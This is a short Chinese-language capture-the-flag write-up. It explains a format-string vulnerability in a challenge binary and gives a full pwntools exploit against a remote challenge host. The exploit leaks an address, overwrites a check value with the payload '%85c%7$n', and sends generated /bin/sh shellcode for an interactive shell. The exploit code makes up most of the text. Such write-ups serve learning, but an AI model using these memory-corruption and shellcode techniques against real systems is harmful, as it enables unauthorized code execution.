存在格式化字符串漏洞
漏洞点:
写入shellcode的点 :
判断*a1是否等于a1[1],*a1 = 68,a1[1] = 85。下面有一个read函数,将输入存放在v1,再下面有一个通过函数指针进行强制类型转换,将刚才的输入转换成一个函数,最后执行。
exp:
from pwn import *
#p = process("./string")
p = remote("111.200.241.244",'52204')
p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16) # 获取地址,并用16进制保存起来
print(addr)
p.recvuntil("character's name be:\n")
p.sendline("aaaa")
p.recvuntil(" will go?east or up?:\n")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("me an address'\n")
p.sendline(str(addr))
p.recvuntil("you wish is:\n")
p.sendline("%85c%7$n")
# sub_400CA6():v1会被强制转成函数指针并且得到执行,所以传入一个system()函数去getshell
# shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
# 在shellcraft前要写context
context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())
p.recvuntil("SPELL\n")
p.sendline(shellcode)
p.interactive()